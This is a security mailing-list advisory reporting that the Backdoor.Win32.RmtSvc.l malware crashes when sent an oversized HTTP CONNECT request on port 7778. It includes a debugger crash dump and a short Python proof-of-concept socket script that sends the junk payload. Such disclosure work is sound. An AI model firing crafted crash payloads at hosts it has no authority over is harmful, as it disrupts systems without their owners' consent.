Date: Sat, 25 Sep 2021 21:16:50 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.RmtSvc.l / Remote Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/38f9ee3ce51ead0ce6bf2edcaa462611.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.RmtSvc.l
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 7778. Third-party attackers
who can reach infected systems can send a specially crafted junk HTTP
CONNECT request to trigger an access violation and crash.
Type: PE32
MD5: 38f9ee3ce51ead0ce6bf2edcaa462611
Vuln ID: MVID-2021-0348
Disclosure: 09/25/2021

Memory Dump:
(2898.3768): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003
edi=00000003
eip=776ced3c esp=0454f08c ebp=0454f21c iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
776ced3c c21400          ret     14h

0:004> .ecxr
eax=74006082 ebx=0454fc94 ecx=00000000 edx=00000000 esi=00000000
edi=74006082
eip=004440a8 esp=0454f9cc ebp=74006082 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
*** WARNING: Unable to verify checksum for
Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8:
004440a8 c6043e00        mov     byte ptr [esi+edi],0
ds:002b:74006082=00

0:004> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8
004440a8 c6043e00        mov     byte ptr [esi+edi],0

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004440a8
(Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x000440a8)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 74006082
Attempt to write to address 74006082

PROCESS_NAME:  Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  74006082

WRITE_ADDRESS:  74006082

FOLLOWUP_IP:
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8
004440a8 c6043e00        mov     byte ptr [esi+edi],0

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00003768

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

LAST_CONTROL_TRANSFER:  from 004484dd to 004440a8

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0454f9d8 004484dd 74006082 00000000 74006082
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8
0454fc94 00000000 00000000 09ac8600 00000000
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x484dd


STACK_COMMAND:  ~4s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611

IMAGE_NAME:  Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  45b41639

FAILURE_BUCKET_ID:
 INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=7778

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    JUNK="A"*1000
    PAYLOAD="CONNECT /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PAYLOAD)
    s.close()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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